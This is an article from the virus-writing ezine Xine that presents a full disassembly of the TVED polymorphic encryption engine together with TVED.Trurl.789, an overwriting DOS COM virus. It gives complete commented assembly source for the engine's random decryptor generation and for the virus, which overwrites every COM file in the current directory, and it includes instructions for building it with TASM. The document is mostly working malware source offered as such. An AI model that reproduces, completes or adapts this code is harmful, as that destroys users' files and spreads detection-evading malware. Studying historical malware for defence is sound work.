Copy Link
Add to Bookmark
Report
Xine - issue #3 - Phile 309
/-----------------------------\
| Xine - issue #3 - Phile 309 |
\-----------------------------/
comment *
Trurl Variable Encryption Device v 1.00 [TVED]
Disassembly by
Darkman/29A
Calling parameters:
CX Length of plain code
SI Decryptor's offset
DS:DX Pointer to plain code
ES:DI Pointer to decryptor + encrypted code
Return parameters:
CX Length of decryptor + encrypted code
Garbage instructions:
NOP; PUSH AX POP AX; MOV AX,AX; XCHG BX,BX; JMP imm8; JMP imm16; ROL AX,CL
ROR AX,CL; RCL AX,CL RCR AX,CL
Count register
AX; CX; DX; BX; SI; DI
Index register:
BX; SI; DI
Register holding decryption key:
AL; CL; DL; BL; AH; CH; DH; BH; AX; CX; DX; BX; SI; DI
TVED decryptor:
One to four garbage instruction(s).
PUSH DS
One to four garbage instruction(s).
PUSH CS
One to four garbage instruction(s).
POP DS
One to four garbage instruction(s).
MOV reg16,imm16 (Count register, length of encrypted code)
One to four garbage instruction(s).
MOV reg16,imm16 (Index register, offset of encrypted code)
One to four garbage instruction(s).
MOV reg,imm; (NOP) (Register holding decryption key, decryption key)
One to four garbage instruction(s).
XOR [reg16],reg
One to four garbage instruction(s).
INC reg16 (Increase index register)
One to four garbage instruction(s).
INC reg16; (NOP) ( " " " )
One to four garbage instruction(s).
DEC reg16 (Decrease count register)
One to four garbage instruction(s).
JNZ imm8 (Offset of XOR [reg16],reg)
One to four garbage instruction(s).
POP DS
Min. decryptor size: 32 bytes.
Max. decryptor size: 68 bytes.
Trurl Variable Encryption Device v 1.00 [TVED] size: 684 bytes.
*
tved_begin equ $ ; Beginning of Trurl Variable Encr...
get_rnd_reg proc near ; Get random register
push ax ; Save AX at stack
get_rnd_reg_:
call get_rnd_num
cmp dl,00000101b ; Base pointer?
je get_rnd_reg_ ; Equal? Jump to get_rnd_reg_
cmp dl,00000100b ; Stack pointer?
je get_rnd_reg_ ; Equal? Jump to get_rnd_reg_
pop ax ; Load AX from stack
ret ; Return!
endp
get_rnd_num proc ; Get random number within seven
push ax ; Save AX at stack
in al,40h ; AL = 8-bit random number
and al,00000111b ; AL = random number within seven
xor dx,dx ; Zero DX
mov dl,al ; DX = random number within seven
pop ax ; Load AX from stack
ret ; Return!
endp
tved_poly proc near ; Trurl Variable Encryption Device...
push ax ; Save AX at stack
pusha ; Save all registers at stack
push ds es ; Save segments at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
call delta_offse_
delta_offse_:
pop bx ; Load BX from stack
sub bx,24h ; BX = delta offset
push es di si cx ; Save registers at stack
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
mov si,(offset orig_decrypt-offset tved_begin)
mov di,(offset poly_decrypt-offset tved_begin)
add si,bx ; Add delta offset to offset of or...
add di,bx ; Add delta offset to offset of po...
mov cx,(orig_end-orig_begin)
rep movsb ; Move original decryptor to polym...
pop cx si di es ; Load registers from stack
mov [bx+(offset delta_off-offset tved_begin)],bx
mov [bx+(offset encrypt_len-offset tved_begin)],cx
mov [bx+(offset encrypt_off-offset tved_begin)],si
mov [bx+(offset decrypt_off-offset tved_begin)],di
mov [bx+(offset plain_len-offset tved_begin)],cx
mov [bx+(offset plain_off-offset tved_begin)],dx
in al,40h ; AL = encryption/decryption key
mov [bx+(offset encrypt_key-offset tved_begin)],al
mov [bx+(offset decrypt_key-offset tved_begin)],al
push bx ; Save BX at stack
call gen_decrypt
call gen_garbage
pop bx ; Load BX from stack
pop es ds ; Load segments from stack
mov cx,[bx+(offset plain_len-offset tved_begin)]
mov si,[bx+(offset plain_off-offset tved_begin)]
mov di,[bx+(offset decrypt_off-offset tved_begin)]
add di,[bx+(offset decrypt_len-offset tved_begin)]
rep movsb ; Move plain code above decryptor
mov ah,[bx+(offset encrypt_key-offset tved_begin)]
mov cx,[bx+(offset plain_len-offset tved_begin)]
mov di,[bx+(offset decrypt_off-offset tved_begin)]
add di,[bx+(offset decrypt_len-offset tved_begin)]
encrypt_loop:
xor [di],ah ; Encrypt a byte of plain code
inc di ; Increase index register
loop encrypt_loop
mov cx,cs:[bx+(offset decrypt_len-offset tved_begin)]
mov bp,sp ; BP = stack pointer
mov [bp+10h],cx ; CX = length of decryptor
popa ; Load all registers from stack
pop cx ; Load CX from stack
ret ; Return!
endp
gen_decrypt proc near ; Generate decryptor
mov si,bx ; SI = delta offset
call get_rnd_reg
mov al,dl ; AL = count register
get_idx_reg:
call get_rnd_reg
cmp dl,al ; Count register equal to index r...?
je get_idx_reg ; Equal? Jump to get_idx_reg
cmp dl,00000011b ; Base register?
je base_reg ; Equal? Jump to base_reg
cmp dl,00000110b ; Source index?
je source_idx ; Equal? Jump to source_idx
cmp dl,00000111b ; Destination index?
je destinat_idx ; Equal? Jump to destinat_idx
jmp get_idx_reg
base_reg:
mov ah,dl ; AH = index register number
mov bl,00000111b ; BL = " "
jmp get_key_size
source_idx:
mov ah,dl ; AH = index register number
mov bl,00000100b ; BL = " "
jmp get_key_size
destinat_idx:
mov ah,dl ; AH = index register number
mov bl,00000101b ; BL = " "
get_key_size:
call get_rnd_num
and dl,00000001b ; DL = random number within one
mov bh,dl ; BH = size of encryption/decrypti...
or bh,bh ; 8-bit encryption/decryption key?
jz get_key_r8 ; Zero? Jump to get_key_r8
get_key_r16:
call get_rnd_reg
cmp dl,al ; Count register equal to registe...?
je get_key_r16 ; Equal? Jump to get_key_r16
cmp dl,ah ; Index register number equal to ...?
je get_key_r16 ; Equal? Jump to get_key_r16
mov cl,dl ; CL = register holding decryption...
jmp gen_decrypt_
get_key_r8:
call get_rnd_num
mov dh,dl ; DH = register holding decryption...
and dh,00000011b ; DH = random number within three
cmp dh,al ; Count register equal to registe...?
je get_key_r8 ; Equal? Jump to get_key_r8
cmp dh,ah ; Index register number equal to ...?
je get_key_r8 ; Equal? Jump to get_key_r8
mov cl,dl ; CL = register holding decryption...
gen_decrypt_:
or [si+(offset mov_r16_i16-offset tved_begin)],al
or [si+(offset dec_reg16-offset tved_begin)],al
or [si+(offset mov_idx_reg-offset tved_begin)],ah
or [si+(offset inc_idx_reg-offset tved_begin)],ah
or [si+(offset xor_idx_reg-offset tved_begin)],bl
or [si+(offset xor_key_reg-offset tved_begin)],bh
shl bh,01h ; Shift left size of encryption/de...
shl bh,01h ; " " " " "
shl bh,01h ; " " " " "
or [si+(offset mov_reg_key-offset tved_begin)],bh
or [si+(offset mov_reg_key-offset tved_begin)],cl
shl cl,01h ; Shift left register holding decr...
shl cl,01h ; " " " " "
shl cl,01h ; " " " " "
or [si+(offset xor_idx_reg-offset tved_begin)],cl
or bh,bh ; 8-bit encryption/decryption key?
jz gen_exit ; Zero? Jump to gen_exit
mov dl,[si+(offset decrypt_key-offset tved_begin)]
mov [si+(offset decrypt_key_-offset tved_begin)],dl
mov dx,[si+(offset encrypt_len-offset tved_begin)]
inc dx ; Increase length of plain code
shr dx,01h ; Divide length of plain code by two
mov [si+(offset encrypt_len-offset tved_begin)],dx
mov byte ptr [si+(offset inc_idx_reg_-offset tved_begin)],01000000b
or [si+(offset inc_idx_reg_-offset tved_begin)],ah
gen_exit:
ret ; Return!
endp
gen_garbage proc near ; Generate garbage
mov bp,sp ; BP = stack pointer
cli ; Clear interrupt-enable flag
xor bx,bx ; Zero BX
mov bx,[bp+2] ; BX = delta offset
add bx,(offset poly_decrypt-offset tved_begin)
mov si,bx ; SI = offset of poly_decrypt
xor ax,ax ; Zero AX
test_offset:
cld ; Clear direction flag
mov bx,[bp+02h] ; BX = delta offset
add bx,(offset poly_end-offset tved_begin)
cmp si,bx ; End of polymorphic decryptor?
je store_imm8 ; Equal? Jump to store_imm8
push si ; Save SI at stack
mov si,[bp+02h] ; SI = delta offset
mov bx,ax ; BX = offset within polymorphic d...
shl bx,01h ; Multiply offset within polymorph...
mov dx,[bx+si+(offset poly_off_tbl-offset tved_begin)]
add dx,[bp+02h] ; Add delta offset to offset of ne...
pop si ; Load SI from stack
cmp si,dx ; Current offset within polymorph...?
jne move_decrypt ; Not equal? Jump to move_decrypt
push si ax ; Save registers at stack
xor cx,cx ; Zero CX
call get_rnd_num
and dl,00000011b ; DL = random number within three
inc dl ; DL = " " " four
mov cl,dl ; CL = " " " "
gen_garbage_:
push cx ; Save CX at stack
call get_rnd_num
xor bx,bx ; Zero BX
mov bl,dl ; BL = random number within seven
shl bl,01h ; Multiply random number within se...
mov si,[bp+02h] ; SI = delta offset
mov si,[bx+si+(offset garb_off_tbl-offset tved_begin)]
add si,[bp+02h] ; Add delta offset to offset withi...
xor cx,cx ; Zero CX
mov cl,[si] ; CL = size of garbage instruction
inc si ; SI = offset of garbage instruction
rep movsb ; Move garbage opcode to decryptor...
pop cx ; Load CX from stack
loop gen_garbage_
pop ax ; Load AX from stack
inc ax ; Increase AX
pop si ; Load SI from stack
call exam_offset
move_decrypt:
mov bl,[si] ; BL = byte of decryptor
mov [di],bl ; Store byte of decryptor
inc di ; Increase DI
inc si ; Increase SI
jmp test_offset
store_imm8:
sti ; Store interrupt-enable flag
mov si,[bp+02h] ; SI = delta offset
mov ax,[si+(offset xor_reg_off-offset tved_begin)]
mov bx,[si+(offset jnz_imm8_off-offset tved_begin)]
add bx,02h ; Add size of opcode to offset of ...
sub ax,bx ; Subtract offset of JNZ imm8 from...
mov [bx-01h],al ; Store 8-bit immediate
sub di,[si+(offset decrypt_off-offset tved_begin)]
mov [si+(offset decrypt_len-offset tved_begin)],di
mov bx,[si+(offset mov_idx_off-offset tved_begin)]
add [bx+01h],di ; Store length of decryptor
ret ; Return!
endp
exam_offset proc near ; Examine offset within polymorphi...
mov bx,(offset mov_idx_reg-offset tved_begin)
add bx,[bp+02h] ; Add delta offset to offset of mo...
cmp si,bx ; Offset of MOV reg16,imm16?
je sto_mov_off ; Equal? Jump to sto_mov_off
mov bx,(offset xor_key_reg-offset tved_begin)
add bx,[bp+02h] ; Add delta offset to offset of xo...
cmp si,bx ; Offset of XOR [reg16],imm8/imm16?
je sto_xor_off ; Equal? Jump to sto_xor_off
mov bx,(offset jnz_imm8-offset tved_begin)
add bx,[bp+02h] ; Add delta offset to offset of jn...
cmp si,bx ; Offset of JNZ imm8?
je sto_jnz_off ; Equal? Jump to sto_jnz_off
ret ; Return!
sto_mov_off:
push si ; Save SI at stack
mov si,[bp+02h] ; SI = delta offset
mov [si+(offset mov_idx_off-offset tved_begin)],di
pop si ; Load SI from stack
ret ; Return!
sto_xor_off:
push si ; Save SI at stack
mov si,[bp+02h] ; SI = delta offset
mov [si+(offset xor_reg_off-offset tved_begin)],di
pop si ; Load SI from stack
ret ; Return!
sto_jnz_off:
push si ; Save SI at stack
mov si,[bp+02h] ; SI = delta offset
mov [si+(offset jnz_imm8_off-offset tved_begin)],di
pop si ; Load SI from stack
ret ; Return!
endp
poly_decrypt proc near ; Polymorphic decryptor
poly_begin:
push ds ; Save DS at stack
push_cs equ $ ; Offset of PUSH CS
push cs ; Save CS at stack
pop_ds equ $ ; Offset of POP DS
pop ds ; Load DS from stack (CS)
mov_r16_i16 equ byte ptr $ ; Count register
encrypt_len equ word ptr $+01h ; Length of encrypted code
mov ax,201h ; AX = length of encrypted code
mov_idx_reg equ byte ptr $ ; Index register
encrypt_off equ word ptr $+01h ; Offset of encrypted code
mov ax,800h ; AX = offset of encrypted code
mov_reg_key equ byte ptr $ ; Register holding decryption key
decrypt_key equ byte ptr $+01h ; 8-bit decryption key
decrypt_key_ equ byte ptr $+02h ; 16-bit decryption key
mov al,0edh ; AL = decryption key
nop
poly_loop:
xor_key_reg equ byte ptr $ ; Register holding decryption key
xor_idx_reg equ byte ptr $+01h ; Index register
xor [bx+si],al ; Decrypt a byte of encrypted code
inc_idx_reg equ byte ptr $ ; Index register
inc_idx_reg_ equ byte ptr $+01h ; Index register (16-bit decrypti...)
inc ax ; Increase index register
nop
dec_reg16 equ byte ptr $ ; Count register
dec ax ; Decrease count register
jnz_imm8 equ $ ; Offset of JNZ imm8
jnz poly_loop ; Not zero? Jump to poly_loop
pop_ds_ equ $ ; Offset of POP DS
pop ds ; Load DS from stack
poly_end:
endp
db 'TVED 1.0 By Trurl' ; Name and author of the engine
delta_off dw ? ; Delta offset
decrypt_off dw ? ; Offset of decryptor + encrypted ...
plain_len dw ? ; Length of plain code
plain_off dw ? ; Offset of plain code
decrypt_len dw ? ; Length of decryptor
encrypt_key db ? ; Encryption key
xor_reg_off dw ? ; Offset of XOR [reg16],reg8/reg16
jnz_imm8_off dw ? ; Offset of JNZ imm8
mov_idx_off dw ? ; Offset of MOV reg16,imm16
poly_off_tbl dw (offset poly_decrypt-offset tved_begin)
dw (offset push_cs-offset tved_begin)
dw (offset pop_ds-offset tved_begin)
dw (offset mov_r16_i16-offset tved_begin)
dw (offset mov_idx_reg-offset tved_begin)
dw (offset mov_reg_key-offset tved_begin)
dw (offset xor_key_reg-offset tved_begin)
dw (offset inc_idx_reg-offset tved_begin)
dw (offset inc_idx_reg_-offset tved_begin)
dw (offset dec_reg16-offset tved_begin)
dw (offset jnz_imm8-offset tved_begin)
dw (offset pop_ds_-offset tved_begin)
garb_off_tbl dw (offset nop_-offset tved_begin)
dw (offset push_pop_ax-offset tved_begin)
dw (offset mov_ax_ax-offset tved_begin)
dw (offset xchg_bx_bx-offset tved_begin)
dw (offset jmp_imm8-offset tved_begin)
dw (offset jmp_imm16-offset tved_begin)
dw (offset rol_ror_ax-offset tved_begin)
dw (offset rcl_rcr_ax-offset tved_begin)
nop_ db 01h ; One byte garbage instruction
db 10010000b ; NOP (opcode 90h)
push_pop_ax db 02h ; Two bytes garbage instruction
db 01010000b,01011000b ; PUSH AX; POP AX (opcode 50h,58h)
mov_ax_ax db 02h ; Two bytes garbage instruction
dw 1100000010001011b ; MOV AX,AX (opcode 8bh,0c0h)
xchg_bx_bx db 02h ; Two bytes garbage instruction
dw 1101101110000111b ; XCHG BX,BX (opcode 87h,0dbh)
jmp_imm8 db 02h ; Two bytes garbage instruction
db 11101011b,00000000b ; JMP imm8 (opcode 0ebh,00h)
jmp_imm16 db 03h ; Three bytes garbage instruction
db 11101001b,00000000b,00000000b
rol_ror_ax db 04h ; Four bytes garbage instruction
dw 1100000011010011b,1100100011010011b
rcl_rcr_ax db 04h ; Four bytes garbage instruction
dw 1101000011010011b,1101100011010011b
shl_shr_ax db 04h ; Four bytes garbage instruction
dw 1110000011010011b,1110100011010011b
orig_decrypt proc near ; Original decryptor
orig_begin:
push ds ; Save DS at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov ax,201h ; AX = length of encrypted code
mov ax,800h ; AX = offset of encrypted code
mov al,0edh ; AL = decryption key
nop
orig_loop:
xor [bx+si],al ; Decrypt a byte of encrypted code
inc ax ; Increase index register
nop
dec ax ; Decrease count register
jnz orig_loop ; Not zero? Jump to orig_loop
pop ds ; Load DS from stack
orig_end:
endp
tved_end equ $ ; End of Trurl Variable Encryption ...
tved_size equ $-tved_begin ; Size of Trurl Variable Encryption...
-------------------------------------------------------------------------------
comment *
TVED.Trurl.789
Disassembly by
Darkman/29A
TVED.Trurl.789 is a 789 bytes overwriting direct action COM virus. Infects
every file in current directory, when executed. TVED.Trurl.789 is
polymorphic in file using Trurl Variable Encryption Device v 1.00 [TVED].
To compile TVED.Trurl.789 with Turbo Assembler v 4.0 type:
TASM /M TVED_789.ASM
TLINK /x /t TVED_789.OBJ
*
.model tiny
.code
.186
org 100h ; Origin of TVED.Trurl.789
code_begin:
call delta_offset
delta_offset:
pop si ; Load SI from stack
sub si,03h ; SI = delta offset
mov ah,4eh ; Find first matching file (DTA)
mov cl,00100000b ; CL = file attribute mask
lea dx,file_specifi-100h
add dx,si ; Add delta offset to offset of fi...
int 21h
open_file:
mov dx,9eh ; DX = offset of filename
mov ax,3d01h ; Open file (write)
int 21h
push si ; Save SI at stack
mov dx,si ; DX = offset of plain code
mov cx,(tved_end-code_begin)
lea di,tved_end-100h ; DI = offset of decryptor + encry...
add di,si ; Add delta offset to offset of de...
mov si,100h ; SI = decryptor's offset
call tved_poly
add cx,(tved_end-code_begin)
pop si ; Load SI from stack
mov bx,ax ; BX = file handle
lea dx,tved_end-100h ; DX = offset of decryptor + encry...
add dx,si ; Add delta offset to offset of de...
mov ah,40h ; Write to file
int 21h
mov ah,3eh ; Close file
int 21h
mov ah,4fh ; Find next matching file
int 21h
jnc open_file ; No error? Jump to open_file
int 20h ; Terminate program!
file_specifi db '*.COM',00h ; File specification
db 'Bonsembiante Virus, By Trurl'
include tved.asm ; Include Trurl Variable Encryptio...
code_end:
end code_begin